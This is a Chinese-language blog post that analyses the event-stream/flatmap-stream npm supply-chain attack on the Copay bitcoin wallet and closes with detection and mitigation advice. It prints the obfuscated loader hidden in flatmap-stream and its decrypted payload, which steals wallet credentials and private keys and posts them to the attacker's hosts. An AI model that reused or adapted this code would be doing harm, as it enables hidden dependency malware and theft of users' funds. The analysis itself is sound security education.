篡改npm 包盜取比特幣始末

blank

篡改npm 包盜取比特幣始末

比特幣錢包Copay 被依賴鏈攻擊這個瓜上週在技術圈裡被廣泛討論,我在看了眾多大神分析之後理清了前因後果。在這裡也給大家來分享一波黑客是如何一步步實施他的驚人計劃的。

一、背景介紹

event-stream是開源社區裡一個用於處理Node.js流數據的npm包,它使得創建和使用流變得容易,正是因此,受到了廣大開發者的歡迎,目前這個庫上週下載量達到了165萬

blank

event-stream在npm的託管

而這起事件起因是由於該項目的作者@dominictarr受限於時間與精力,將其維護工作交給了另一位開發者@Right9ctrl,該開發者獲得了event-stream的權限後,將惡意代碼通過依賴項flatmap-stream 注入到了event-stream 中去。也正是這個依賴項引入了竊取比特幣的後門。

同時,著名的比特幣錢包Dash Copay 在他們的應用中引用了對event-stream 的依賴,從而導致了中毒事件的發生。

梳理下來,黑客的具體步驟如下:

  • 第一步,黑客@right9ctrl發郵件給這個庫的原作者@dominictarr ,而他因為缺乏時間和興趣已經不願再維護這個庫了,於是就將該庫轉讓給了這個完全不認識的陌生人。
blank

原作者的解釋

  • 第二步,9 月9 日,新維護者開始了初步性的動作,首先釋出了event-stream 3.3.6 版本的更新,並在其中加入了一個全新的模塊——flatmap-stream,彼時這個模塊中並沒有惡意功能。
  • 第三步,9月16日,@right9ctrl刪除了對flatmap-stream的引用並在event-stram里手動實現了這個方法,之後直接將項目從3.3.6升級到了4.0.0 。但引用npm包的時候,很少有人直接升級大版本,也就是說codepay 很可能會一直使用這個中毒的event-stream 3.3.6版本。
blank

黑客的攻擊步驟

  • 第四步,10月5日, [email protected]版本被一個名為@hugeglass的用戶推送到了NPM。而這次釋出的更新中該模塊就被加入了竊取比特幣錢包的用戶訊息和秘鑰。通俗的來說就好比用戶的網銀賬號、密碼和U盾一起被盜了。

二、盜竊與曝光

盜竊

那麼黑客的代碼具體是怎麼盜竊比特幣的呢? 通過分析flatmap-stream 的源碼,我們可以將其分解為已下四個步驟:

  1. 外部代碼判斷執行環境,如果是在copay-dash 項目中運行,則將加密成16進制的內部代碼進行解密並執行。
  2. 內部代碼判斷用戶的使用環境(是否使用Cordova ),同時獲取受害者的個人錢包訊息。
  3. 通過遍歷受害者錢包裡所有的id,查找賬戶餘額超過100 BTC (市值300萬人民幣)或者1000 BCH (市值125萬人民幣)的賬戶。
  4. 將受害者的賬戶訊息和錢包秘鑰分別發往部署在吉隆坡的服務器111.90.151.134 和copayapi.host(之前DNS解析為:145.249.104.239,目前為:51.38.112.212)。

曝光

整個事情的曝光十分具有戲劇性,一個完全不相關的第三方開發者在自己的項目中引入了Nodemon監控,但是控制台出現了一條警告"DeprecationWarning: crypto.createDecipher is deprecated"。

crypto是一個常用的加密解密庫,最近因為api 升級,它的crypto.createDecipher方法已經在新版中廢棄,因此系統拋出警告。

blank

一個意外將整個事件曝光

然而,正常情況下對nodejs 的監控是不需要進行加密解密的。所以為了解決這個意外的警告,這位熱心的開發者將問題上報到了社區。在解決問題的過程中,他們一路向上遍歷了他項目的依賴樹,最終發現依賴是由flatmap-stream 引入的。通過解密flatmap-stream 的代碼,由此揭開了整個事件的序幕。

blank

攻擊與發現

三、代碼分析

現在讓我們通過回溯代碼來一步步分析黑客是怎麼實施他的盜竊的,如果不願意看詳細分析也可以直接跳到章節最後的總結圖:)

首先,攻擊者上傳的原始代碼[email protected]是被壓縮過的:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

其中問題代碼被偷偷放在最後面,我們將代碼解壓縮並格式化可得到可讀的問題代碼1

! function () { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), // 在Github上不存在,但是实际在发布的npm包里隐藏的'./test/data.js'文件o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }();

上述代碼部分被轉成16進制,我們可以進行一次16進制轉得到轉碼代碼1 ,其中r(e("2e2f746573742f64617461")),翻譯過來就是require("./test/data");目前data.js這個文件已原項目中被刪除,根據FallingSnow的說明,data.js文件是一個如下的數組,對應原代碼中的數組n。同樣將該數組轉碼後,可得到:

[ // 数组前两项为加密的16进攻击代码"75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "", "63727970746f", // crypto "656e76", // env "6e706d5f7061636b6167655f6465736372697074696f6e", // npm_package_description "616573323536", // aes256 "6372656174654465636970686572", // createDecipher "5f636f6d70696c65", // _compile "686578", // hex "75746638" // utf8 ]

通過data.js對問題代碼的數組n進行替換,我們可得到下面的轉碼代碼2

!(function() { try { // 攻击代码被加密伪装成16进制var n = [ "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "" ]; var o = process["env"]["npm_package_description"]; if (!o) return; var u = require("crypto")["createDecipher"]("aes256", o), a = u.update(n[0], "hex", "utf8"); a += u.final("utf8"); var f = new module.constructor(); (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]); } catch (r) {} })();

其中這個數組n 很特別,頭兩項n[0], n[1] 的長字符串需要用被依賴項目的"npm_package_description" 進行解密,並且只有當description 正好為"A Secure Bitcoin Wallet" 才能成功解密。而“很巧”的是copay項目的description正好為此,所以說這是針對copay錢包的定向攻擊。同時,由於黑客在這裡使用了crypto.createDecipher這個過時的api才最終導致其暴露。經過兩輪解密後我們得到最終的解密代碼,我語義化並註釋後如下:

! function() { function startUp() { try { var HTTP = require("http"), Crypto = require("crypto"), publicKey = "-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfjnBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIkn2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZznLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76Ton2wIDAQABn-----END PUBLIC KEY-----"; function postData (hostName, pathName, encryptedData) { hostName = Buffer.from(hostName, "hex").toString(); // 將16進製字符轉換成string,"copayapi.host" 和111.90.151.134 var request = HTTP. request({ hostname: hostName, port: 8080, method: "POST", path: "/" + pathName, headers: { "Content-Length": encryptedData.length, "Content-Type": "text/html" } }, function() {}); request.on("error", function(e) {}), request.write(encryptedDa ta), request.end() } // 偷取了用戶訊息並用公鑰加密後發送function encryptAndPost(pathName, userInfo) { for (var encryptedData = "", r = 0; r < userInfo.length; r + = 200) { var o = userInfo.substr(r, 200); encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+" }postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻擊者的服務器copayapi.host,111.90.151.134 } // 偷取用戶訊息function stealUserInfo(profile, stealSuccessCB) { if (window.cordova) { try { var dataDirectory = cordova.file.dataDirectory; // cordova接口獲取程序的數據目錄, Persistent and private data storage within the application's sandbox resolveLocalFileSystemURL(dataDirectory, function(e) { e.getFile(profile , { create: !1 }, function(e) { e.file(function(e) { var reader = new FileReader; reader.onloadend = function() { return stealSuccessCB(JSON.parse(reader.result)) }, reader.onerror = function(e) { reader.abort() }, reader.readAsText(e) }) }) }) } catch (e) {} } else { try { var r = localStorage.getItem(profile); if (r) return stealSuccessCB(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(profile, function(e) { if (e) return stealSuccessCB(JSON.parse(e [profile])) }) } catch (e) {} }} // 執行代碼由此開始,針對賬戶內大於100BTC餘額的賬戶,偷取用戶的證書和個人訊息。 global.CSSMap = {}, stealUserInfo("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && stealUserInfo(" balanceCache-" + n.walletId, function(profileInfo) { var that = this; that.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that))) }.bind( n)) } }); // 引入credentials並重寫,再次嘗試偷取用戶公鑰var Credentials = require("bitcore-wallet-client/lib/credentials.js"); Credentials.prototype.getKeysFunc = e. prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); // 正常執行Credentials.prototype.getKeys try { // 嘗試竊取秘鑰global.CSSMap && global.CSSMap[ this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", startUp) : startUp () }();

由於上面的解密代碼比較清晰,所以這裡只簡述一下。大概是分兩步偷取用戶的個人訊息和錢包秘鑰後,加密發往自己在吉隆坡的服務器。實現方式是通過JS的原型鏈引用,在flatmap-stream裡重寫了Credentials.getKeys方法,這個方法被用copay-dash項目組用來獲取用戶的秘鑰,他在程序執行該方法後,將用戶秘鑰發往自己的服務器。

為了讓大家能更好梳理攻擊的流程,我畫出了解密的流程圖以供參考:

blank

四、影響與反思

問題暴露後,copay 錢包項目組做了緊急修復並上線v5.2.0版本,但依然還有大量的未更新的錢包老版本(v5.0.2 ~ v5.1.0)中毒,他們也建議用戶自行升級並將比特幣轉移到新的錢包中。目前已有用戶聲稱錢包裡的比特幣被盜,copay 聲稱正在解決此事匯總。

blank

目前已有用戶聲稱電子錢包被盜

作為第三方開發者我們可以通過"npm ls event-stream flatmap-stream" 來核對我們的項目裡是否安裝了相關的依賴包。下面是一個安裝了中毒依賴包的本地項目,如果你也安裝了[email protected] 請將依賴升級到最新版即可。

[redacted] └─┬ [email protected] └─┬ [email protected] └─┬ [email protected] └── [email protected]

針對依賴鏈攻擊目前還沒有很好的解決方法,雖然社區裡有建議限制依賴包的權限或要求npm 明文提交等方式,但短期來看都不太可能實現。

我們能做也許只有在引用依賴之前,仔細審核一下被引用的包。同時,對經過安全認證的包鎖住版本,確保不會引入新的有毒依賴包。

參考文檔

What do you think?

Written by marketer

blank

第二屆螞蟻金服體驗科技大會

blank

React Router+React-Transition-Group實現頁面左右滑動+滾動位置記憶